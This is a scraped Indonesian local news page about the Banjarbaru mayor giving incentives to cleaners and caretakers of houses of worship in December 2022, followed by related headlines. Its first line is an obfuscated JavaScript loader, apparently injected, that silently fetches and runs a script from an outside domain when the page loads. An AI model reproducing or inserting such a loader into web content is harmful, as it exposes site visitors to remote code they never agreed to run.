(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Wali Kota Banjarbaru HM Aditya Mufti Ariffin menyerahkan insentif kepada petugas kebersihan atau marbot rumah ibadah Muslim dan non muslim, di aula Gawi Sabarataan, Selasa (27/12/2022).
Wali Kota Aditya mengatakan, rumah ibadah merupakan tempat yang suci, tempat yang teramat penting serta sakral bagi seluruh umat beragama, karena itu ketersediaan rumah ibadah yang bersih, rapi, serta kesiapan rumah ibadah menjadi tempat dan pusat kegiatan ibadah masyarakat sangat diperlukan.
“Jadi ulun (Saya, red) berharap rumah ibadah ini selalu bersih dan selalu rapi, bukan hanya untuk beribadah, tetapi agar menjadi daya tarik juga,” ucapnya.
Aditya juga menyampaikan, Kota Banjarbaru menjadi kota perlintasan, rumah ibadah bisa menjadi daya tarik tersendiri bagi orang-orang yang melintasi ibu kota Provinsi Kalsel. Berbagai macam bentuk kegiatan sosial juga bisa dilaksanakan di tempat ibadah.
Baca juga: Libur Tahun Baru, BMKG Imbau Masyarakat Agar Tidak Berwisata di Pesisir Pantai
Wali Kota Banjarbaru berjanji akan meningkatkan insentif para petugas kebersihan atau marbot ini dari Rp 200 ribu menjadi Rp.500 ribu
“Menjadi Petugas Kebersihan atau Marbot rumah ibadah tidaklah mudah, namun pekerjaan yang sangat mulia, karena kebersihan rumah ibadah dapat membawa manfaat bagi banyak orang dan mempengaruhi kenyamanan dalam beribadah,” imbuhnya. (Kanalkalimantan.com/al)
Reporter: al
Editor: kk
KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More
Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More
Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More
This website uses cookies.